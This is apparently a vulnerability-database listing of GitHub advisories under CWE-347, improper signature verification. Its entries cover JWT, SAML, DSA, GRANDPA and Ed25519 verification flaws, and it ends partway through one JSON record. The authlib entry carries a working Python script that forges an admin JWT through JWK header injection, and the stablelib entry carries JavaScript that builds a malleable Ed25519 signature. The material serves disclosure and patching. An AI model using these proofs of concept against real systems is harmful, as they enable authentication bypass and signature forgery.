CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1120 vulnerabilities reference this CWE, most recent first.
GHSA-WVQX-V3F6-W8RH
Vulnerability from github – Published: 2026-03-23 06:30 – Updated: 2026-03-30 19:29Versions of the package jsrsasign before 11.1.1 are vulnerable to Improper Verification of Cryptographic Signature via the DSA domain-parameter validation in KJUR.crypto.DSA.setPublic (and the related DSA/X509 verification flow in src/dsa-2.0.js). An attacker can forge DSA signatures or X.509 certificates that X509.verifySignature() accepts by supplying malicious domain parameters such as g=1, y=1, and a fixed r=1, which make the verification equation true for any hash.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jsrsasign"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4600"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T19:29:53Z",
"nvd_published_at": "2026-03-23T06:16:21Z",
"severity": "HIGH"
},
"details": "Versions of the package jsrsasign before 11.1.1 are vulnerable to Improper Verification of Cryptographic Signature via the DSA domain-parameter validation in KJUR.crypto.DSA.setPublic (and the related DSA/X509 verification flow in src/dsa-2.0.js). An attacker can forge DSA signatures or X.509 certificates that X509.verifySignature() accepts by supplying malicious domain parameters such as g=1, y=1, and a fixed r=1, which make the verification equation true for any hash.",
"id": "GHSA-wvqx-v3f6-w8rh",
"modified": "2026-03-30T19:29:53Z",
"published": "2026-03-23T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4600"
},
{
"type": "WEB",
"url": "https://github.com/kjur/jsrsasign/pull/646"
},
{
"type": "WEB",
"url": "https://github.com/kjur/jsrsasign/commit/37b4c06b145c7bfd6bc2a6df5d0a12c56b15ef60"
},
{
"type": "WEB",
"url": "https://gist.github.com/Kr0emer/bf15ddc097176e951659a24a8e9002a7"
},
{
"type": "PACKAGE",
"url": "https://github.com/kjur/jsrsasign"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-JSRSASIGN-15370940"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "jsrsasign: DSA signatures or X.509 certificates can be forged via DSA domain-parameter validation in KJUR.crypto.DSA.setPublic"
}
GHSA-WVWJ-CVRP-7PV5
Vulnerability from github – Published: 2026-03-16 15:17 – Updated: 2026-03-16 21:53Description
Summary
A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.
This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.
Details
Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273
elif key is None and "jwk" in header:
key = header["jwk"] # ← attacker-controlled key used for verification
When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or
jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.
RFC 7515 violations:
- §4.1.3 explicitly states the
jwkheader parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor. - §5.2 (Validation Algorithm) specifies the verification key MUST come from the application
context, not from the token itself. There is no step in the RFC that permits falling back to
the
jwkheader when no application key is provided.
Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid) # returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)
When an attacker submits a token with an unknown kid, the callable legitimately returns None.
The library then silently falls through to key = header["jwk"], trusting the attacker's embedded
key. The developer never wrote key=None — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.
Attack steps:
- Attacker generates an RSA or EC keypair.
- Attacker crafts a JWT payload with any desired claims (e.g.
{"role": "admin"}). - Attacker signs the JWT with their private key.
- Attacker embeds their public key in the JWT
jwkheader field. - Attacker uses an unknown
kidto cause the key resolver to returnNone. - The library uses
header["jwk"]for verification — signature passes. - Forged claims are returned as authentic.
PoC
Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).
Requirements:
pip install authlib cryptography
Exploit script:
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims) # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin" # PASSES
Expected output:
{'sub': 'attacker', 'role': 'admin'}
Docker (self-contained reproduction):
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py
Impact
This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:
key=Noneis passed directly, or- a key resolver callable returns
Nonefor unknown/rotatedkidvalues (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.
Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273:
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]
Recommended safe replacement — raise explicitly when no key is resolved:
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.8"
},
"package": {
"ecosystem": "PyPI",
"name": "authlib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27962"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T15:17:15Z",
"nvd_published_at": "2026-03-16T18:16:07Z",
"severity": "CRITICAL"
},
"details": "## Description\n\n### Summary\n\nA JWK Header Injection vulnerability in `authlib`\u0027s JWS implementation allows an unauthenticated\nattacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed\nto any JWS deserialization function, the library extracts and uses the cryptographic key embedded\nin the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own\nprivate key, embed the matching public key in the header, and have the server accept the forged\ntoken as cryptographically valid \u2014 bypassing authentication and authorization entirely.\n\nThis behavior violates **RFC 7515 \u00a74.1.3** and the validation algorithm defined in **RFC 7515 \u00a75.2**.\n\n### Details\n\n**Vulnerable file:** `authlib/jose/rfc7515/jws.py` \n**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()` \n**Lines:** 272\u2013273\n\n```python\nelif key is None and \"jwk\" in header:\n key = header[\"jwk\"] # \u2190 attacker-controlled key used for verification\n```\n\nWhen `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or\n`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts\nthat value \u2014 which is fully attacker-controlled \u2014 and uses it as the verification key.\n\n**RFC 7515 violations:**\n\n- **\u00a74.1.3** explicitly states the `jwk` header parameter is **\"NOT RECOMMENDED\"** because keys\n embedded by the token submitter cannot be trusted as a verification anchor.\n- **\u00a75.2 (Validation Algorithm)** specifies the verification key MUST come from the *application\n context*, not from the token itself. There is no step in the RFC that permits falling back to\n the `jwk` header when no application key is provided.\n\n**Why this is a library issue, not just a developer mistake:**\n\nThe most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.\nA developer writes:\n\n```python\ndef lookup_key(header, payload):\n kid = header.get(\"kid\")\n return jwks_cache.get(kid) # returns None when kid is unknown/rotated\n\njws.deserialize_compact(token, lookup_key)\n```\n\nWhen an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.\nThe library then silently falls through to `key = header[\"jwk\"]`, trusting the attacker\u0027s embedded\nkey. The developer never wrote `key=None` \u2014 the library\u0027s fallback logic introduced it. The result\nlooks like a verified token with no exception raised, making the substitution invisible.\n\n**Attack steps:**\n\n1. Attacker generates an RSA or EC keypair.\n2. Attacker crafts a JWT payload with any desired claims (e.g. `{\"role\": \"admin\"}`).\n3. Attacker signs the JWT with their **private** key.\n4. Attacker embeds their **public** key in the JWT `jwk` header field.\n5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.\n6. The library uses `header[\"jwk\"]` for verification \u2014 signature passes.\n7. Forged claims are returned as authentic.\n\n### PoC\n\nTested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).\n\n**Requirements:**\n```\npip install authlib cryptography\n```\n\n**Exploit script:**\n```python\nfrom authlib.jose import JsonWebSignature, RSAKey\nimport json\n\njws = JsonWebSignature([\"RS256\"])\n\n# Step 1: Attacker generates their own RSA keypair\nattacker_private = RSAKey.generate_key(2048, is_private=True)\nattacker_public_jwk = attacker_private.as_dict(is_private=False)\n\n# Step 2: Forge a JWT with elevated privileges, embed public key in header\nheader = {\"alg\": \"RS256\", \"jwk\": attacker_public_jwk}\nforged_payload = json.dumps({\"sub\": \"attacker\", \"role\": \"admin\"}).encode()\nforged_token = jws.serialize_compact(header, forged_payload, attacker_private)\n\n# Step 3: Server decodes with key=None \u2014 token is accepted\nresult = jws.deserialize_compact(forged_token, None)\nclaims = json.loads(result[\"payload\"])\nprint(claims) # {\u0027sub\u0027: \u0027attacker\u0027, \u0027role\u0027: \u0027admin\u0027}\nassert claims[\"role\"] == \"admin\" # PASSES\n```\n\n**Expected output:**\n```\n{\u0027sub\u0027: \u0027attacker\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\n**Docker (self-contained reproduction):**\n```bash\nsudo docker run --rm authlib-cve-poc:latest \\\n python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py\n```\n\n### Impact\n\nThis is an authentication and authorization bypass vulnerability. Any application using authlib\u0027s\nJWS deserialization is affected when:\n\n- `key=None` is passed directly, **or**\n- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)\n\nAn unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims\n(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.\nThe forged token is indistinguishable from a legitimate one \u2014 no exception is raised.\n\nThis is a violation of **RFC 7515 \u00a74.1.3** and **\u00a75.2**. The spec is unambiguous: the `jwk`\nheader parameter is \"NOT RECOMMENDED\" as a key source, and the validation key MUST come from\nthe application context, not the token itself.\n\n**Minimal fix** \u2014 remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:\n```python\n# DELETE:\nelif key is None and \"jwk\" in header:\n key = header[\"jwk\"]\n```\n\n**Recommended safe replacement** \u2014 raise explicitly when no key is resolved:\n```python\nif key is None:\n raise MissingKeyError(\"No key provided and no valid key resolvable from context.\")\n```",
"id": "GHSA-wvwj-cvrp-7pv5",
"modified": "2026-03-16T21:53:55Z",
"published": "2026-03-16T15:17:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27962"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.6.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib JWS JWK Header Injection: Signature Verification Bypass"
}
GHSA-WW38-37G9-M3Q3
Vulnerability from github – Published: 2026-06-10 00:31 – Updated: 2026-06-10 00:31Since Spring Security SAML decrypts SAML Responses as well as elements of SAML LogoutRequests and LogoutResponses without requiring a valid signature, attackers may be able to craft these SAML payloads and use the Service Provider as a decryption oracle.
Affected versions: Spring Security 5.7.0 through 5.7.23; 5.8.0 through 5.8.25; 6.3.0 through 6.3.16; 6.4.0 through 6.4.16; 6.5.0 through 6.5.10; 7.0.0 through 7.0.5.
{
"affected": [],
"aliases": [
"CVE-2026-41694"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-10T00:16:50Z",
"severity": "LOW"
},
"details": "Since Spring Security SAML decrypts SAML Responses as well as elements of SAML LogoutRequests and LogoutResponses without requiring a valid signature, attackers may be able to craft these SAML payloads and use the Service Provider as a decryption oracle.\n\nAffected versions:\nSpring Security 5.7.0 through 5.7.23; 5.8.0 through 5.8.25; 6.3.0 through 6.3.16; 6.4.0 through 6.4.16; 6.5.0 through 6.5.10; 7.0.0 through 7.0.5.",
"id": "GHSA-ww38-37g9-m3q3",
"modified": "2026-06-10T00:31:51Z",
"published": "2026-06-10T00:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41694"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-41694"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WW3H-G64F-837R
Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-05-24 19:13An issue in code signature validation was addressed with improved checks. This issue is fixed in macOS Big Sur 11.3, iOS 14.5 and iPadOS 14.5, watchOS 7.4, tvOS 14.5. A malicious application may be able to bypass Privacy preferences.
{
"affected": [],
"aliases": [
"CVE-2021-1849"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-08T15:15:00Z",
"severity": "HIGH"
},
"details": "An issue in code signature validation was addressed with improved checks. This issue is fixed in macOS Big Sur 11.3, iOS 14.5 and iPadOS 14.5, watchOS 7.4, tvOS 14.5. A malicious application may be able to bypass Privacy preferences.",
"id": "GHSA-ww3h-g64f-837r",
"modified": "2022-05-24T19:13:35Z",
"published": "2022-05-24T19:13:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1849"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212317"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212323"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212324"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212325"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WWX5-GPGR-VXR7
Vulnerability from github – Published: 2025-01-28 17:29 – Updated: 2025-01-28 20:15A critical vulnerability was discovered in the ismp-grandpa crate, that allowed a malicious prover easily convince the verifier of the finality of arbitrary headers.
Description
The vulnerability manifests as a verifer that only accepts incorrect signatures of Grandpa precommits and was introduced in this specific commit. Perhaps due to unfamiliarity with core substrate APIs. The if statement should have included a negation check, similar to the previous code, but this was omitted. Causing the verifier to only accept invalid signatures.
This vulnerability remained undetected even with integration tests, as the prover was also misconfigured to initialize the Grandpa verifier with the incorrect authority set_id. This causes verification of honest precommit signatures to fail as the message is now malformed, but the verifier indeed only accepts signatures or messages that fail the verification check.
But even more devastatingly, the verifier will also accept malicious GRANDPA signatures for any precommit message.
This vulnerability has been fixed in this commit and a patch release has been published.
Impact
This could be used to steal funds or compromise other kinds of cross-chain applications.
Patches
This vulnerability has been fixed in the latest version of ismp-granpda v15.0.1
Recommendations
Users who rely on the compromised versions must upgrade immediately, as all vulnerable versions of the crate has been yanked.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "ismp-grandpa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "15.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "grandpa-verifier-primitives"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "grandpa-verifier"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-24800"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-28T17:29:17Z",
"nvd_published_at": "2025-01-28T16:15:45Z",
"severity": "CRITICAL"
},
"details": "A critical vulnerability was discovered in the `ismp-grandpa` crate, that allowed a malicious prover easily convince the verifier of the finality of arbitrary headers.\n\n### Description\n\nThe vulnerability manifests as a verifer that only accepts incorrect signatures of Grandpa precommits and was introduced in this [specific commit](https://github.com/polytope-labs/ismp-substrate/pull/64/commits/5ca3351a19151f1a439c30d5cbdbfdc72a11f1a8#diff-3835cc24fb2011b3e8246036059acd8c2c2a9a869eedf7a210d18edb6543318dL262). Perhaps due to unfamiliarity with core substrate APIs. The `if` statement should have included a negation check, similar to the previous code, but this was omitted. Causing the verifier to **only** accept invalid signatures.\n\nThis vulnerability remained undetected even with [integration tests](https://github.com/polytope-labs/ismp-substrate/pull/64/commits/04d5be207b082eb61d586d52e1685e2e060347e6#diff-4aedbca82d26bebc03f274e23fd5697c3346ffff54405c87af9018f3aef708b2R1-R160), as the prover was also [misconfigured](https://github.com/polytope-labs/ismp-substrate/pull/64/commits/b26894913b301061b07db61af841ca2586415f08#diff-493a6129d75fe31185e28695a4d2adc1582fe9df12462e380fe994f170fc1e70L159) to initialize the Grandpa verifier with the incorrect authority `set_id`. This causes verification of honest precommit signatures to fail as the message is now malformed, but the verifier indeed only accepts signatures or messages that fail the verification check.\n\nBut even more devastatingly, the verifier will also accept malicious GRANDPA signatures for any precommit message.\n\nThis vulnerability has been fixed in this [commit](https://github.com/polytope-labs/hyperbridge/pull/372/commits/f0e85db718f5165b06585a49b14a66f8ad643aea) and a patch release has been published.\n\n### Impact\nThis could be used to steal funds or compromise other kinds of cross-chain applications.\n\n### Patches\nThis vulnerability has been fixed in the latest version of `ismp-granpda` `v15.0.1`\n\n### Recommendations\nUsers who rely on the compromised versions must upgrade immediately, as all vulnerable versions of the crate has been yanked.\n",
"id": "GHSA-wwx5-gpgr-vxr7",
"modified": "2025-01-28T20:15:50Z",
"published": "2025-01-28T17:29:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/polytope-labs/hyperbridge/security/advisories/GHSA-wwx5-gpgr-vxr7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24800"
},
{
"type": "WEB",
"url": "https://github.com/polytope-labs/hyperbridge/pull/372/commits/f0e85db718f5165b06585a49b14a66f8ad643aea"
},
{
"type": "WEB",
"url": "https://github.com/polytope-labs/ismp-substrate/pull/64/commits/04d5be207b082eb61d586d52e1685e2e060347e6#diff-4aedbca82d26bebc03f274e23fd5697c3346ffff54405c87af9018f3aef708b2R1-R160"
},
{
"type": "WEB",
"url": "https://github.com/polytope-labs/ismp-substrate/pull/64/commits/5ca3351a19151f1a439c30d5cbdbfdc72a11f1a8#diff-3835cc24fb2011b3e8246036059acd8c2c2a9a869eedf7a210d18edb6543318dL262"
},
{
"type": "WEB",
"url": "https://github.com/polytope-labs/ismp-substrate/pull/64/commits/b26894913b301061b07db61af841ca2586415f08#diff-493a6129d75fe31185e28695a4d2adc1582fe9df12462e380fe994f170fc1e70L159"
},
{
"type": "PACKAGE",
"url": "https://github.com/polytope-labs/hyperbridge"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ismp-grandpa crate accepted incorrect signatures"
}
GHSA-WX8W-J86H-C458
Vulnerability from github – Published: 2026-06-11 21:31 – Updated: 2026-06-11 21:31Cloud Foundry UAA incorrectly treated XML encryption to the Service Provider (confidentiality) as a substitute for XML signatures from the Identity Provider (authenticity) in two SAML flows: the OAuth 2.0 SAML2 bearer grant (token endpoint) and browser SSO (ACS) when wantAssertionSigned is set to false. Assertions or responses that were unsigned but contained encrypted content could still be accepted. Encryption uses the SP's public key from published metadata, therefore, any party, not only a trusted IdP, can produce ciphertext UAA can decrypt; successful decryption therefore does not prove the IdP issued the message.
Affected versions: Cloud Foundry UAA (uaa_release) 2.0.0 through 78.13.0. Cloud Foundry CF Deployment all versions through 56.1.0.
{
"affected": [],
"aliases": [
"CVE-2026-41005"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-11T21:16:21Z",
"severity": "CRITICAL"
},
"details": "Cloud Foundry UAA incorrectly treated XML encryption to the Service Provider (confidentiality) as a substitute for XML signatures from the Identity Provider (authenticity) in two SAML flows: the OAuth 2.0 SAML2 bearer grant (token endpoint) and browser SSO (ACS) when wantAssertionSigned is set to false. Assertions or responses that were unsigned but contained encrypted content could still be accepted. Encryption uses the SP\u0027s public key from published metadata, therefore, any party, not only a trusted IdP, can produce ciphertext UAA can decrypt; successful decryption therefore does not prove the IdP issued the message.\n\nAffected versions:\nCloud Foundry UAA (uaa_release) 2.0.0 through 78.13.0.\nCloud Foundry CF Deployment all versions through 56.1.0.",
"id": "GHSA-wx8w-j86h-c458",
"modified": "2026-06-11T21:31:57Z",
"published": "2026-06-11T21:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41005"
},
{
"type": "WEB",
"url": "https://www.cloudfoundry.org/blog/cve-2026-41005-uaa-accepts-saml-encrypted-assertions-authentication-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X3CR-CMR6-6R74
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2023-03-24 18:30A vulnerability in the Image Signature Verification feature of Cisco NX-OS Software could allow an authenticated, local attacker with administrator-level credentials to install a malicious software image on an affected device. The vulnerability exists because software digital signatures are not properly verified during CLI command execution. An attacker could exploit this vulnerability to install an unsigned software image on an affected device.
{
"affected": [],
"aliases": [
"CVE-2019-1812"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-15T23:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Image Signature Verification feature of Cisco NX-OS Software could allow an authenticated, local attacker with administrator-level credentials to install a malicious software image on an affected device. The vulnerability exists because software digital signatures are not properly verified during CLI command execution. An attacker could exploit this vulnerability to install an unsigned software image on an affected device.",
"id": "GHSA-x3cr-cmr6-6r74",
"modified": "2023-03-24T18:30:19Z",
"published": "2022-05-24T16:45:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1812"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-nxos-sisv2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108425"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X3FF-W252-2G7J
Vulnerability from github – Published: 2026-04-01 22:13 – Updated: 2026-04-07 14:23Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)
Target
- Repository: StableLib/stablelib (package: @stablelib/ed25519)
- Platform: GitHub PVR
- Bounty: CVE credit
- CWE: CWE-347 (Improper Verification of Cryptographic Signature)
- Version: 2.0.2 (latest, 2026-03-28)
Root Cause
The verify() function in @stablelib/ed25519 does not check that the S component of the signature is less than the group order L. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where S >= L to prevent signature malleability.
When S >= L, [S]B = [(S mod L)]B = [(S - L)]B, meaning two different 32-byte S values produce the same verification result. An attacker who observes a valid signature (R, S) can produce a second valid signature (R, S + L) for the same message.
Vulnerable code
File: packages/ed25519/ed25519.ts (compiled: lib/ed25519.js:779-802)
export function verify(publicKey, message, signature) {
// ... length check, unpack public key ...
const hs = new SHA512();
hs.update(signature.subarray(0, 32)); // R
hs.update(publicKey); // A
hs.update(message); // M
const h = hs.digest();
reduce(h); // h is reduced mod L
scalarmult(p, q, h); // [h](-A)
scalarbase(q, signature.subarray(32)); // [S]B -- S NOT checked or reduced
edadd(p, q);
pack(t, p);
if (verify32(signature, t)) { // compare R
return false;
}
return true;
}
Note that h is properly reduce()d (line 794), but S (signature bytes 32-63) is passed directly to scalarbase() without any range check.
Proof of Concept
const ed = require('@stablelib/ed25519');
const kp = ed.generateKeyPair();
const msg = new TextEncoder().encode("Hello, world!");
const sig = ed.sign(kp.secretKey, msg);
console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true
// Ed25519 group order L
const L = [
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
];
// Add L to S component to create malleable signature
const malSig = new Uint8Array(64);
malSig.set(sig.subarray(0, 32)); // R unchanged
let carry = 0;
for (let i = 0; i < 32; i++) {
const sum = sig[32 + i] + L[i] + carry;
malSig[32 + i] = sum & 0xff;
carry = sum >> 8;
}
console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true
console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i])); // true
Output:
Original valid: true
Malleable valid: true
Sigs differ: true
Impact
- Signature malleability: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key
- Transaction ID collision: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks
- Deduplication bypass: Systems deduplicating by signature value accept the same message twice with different "signatures"
- Same vulnerability class as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH
Suggested Fix
Add an S < L check before processing the signature:
// L in little-endian
const L = new Uint8Array([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
]);
function scalarLessThanL(s) {
for (let i = 31; i >= 0; i--) {
if (s[i] < L[i]) return true;
if (s[i] > L[i]) return false;
}
return false; // equal to L, reject
}
export function verify(publicKey, message, signature) {
// ... existing checks ...
if (!scalarLessThanL(signature.subarray(32))) {
return false; // S >= L, reject
}
// ... rest of verify ...
}
Self-Review
- Is this by-design? No explicit documentation suggests malleability is intended. The library is described as implementing "Ed25519 public-key signature (EdDSA with Curve25519)" with no caveat about malleability.
- Is RFC 8032 strict about this? No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.
- Is this already reported? No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L.
- Honest weaknesses: (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.
- CVSS: Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact.
Solution
Upgrade to version 2.1.0.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@stablelib/ed25519"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T22:13:35Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
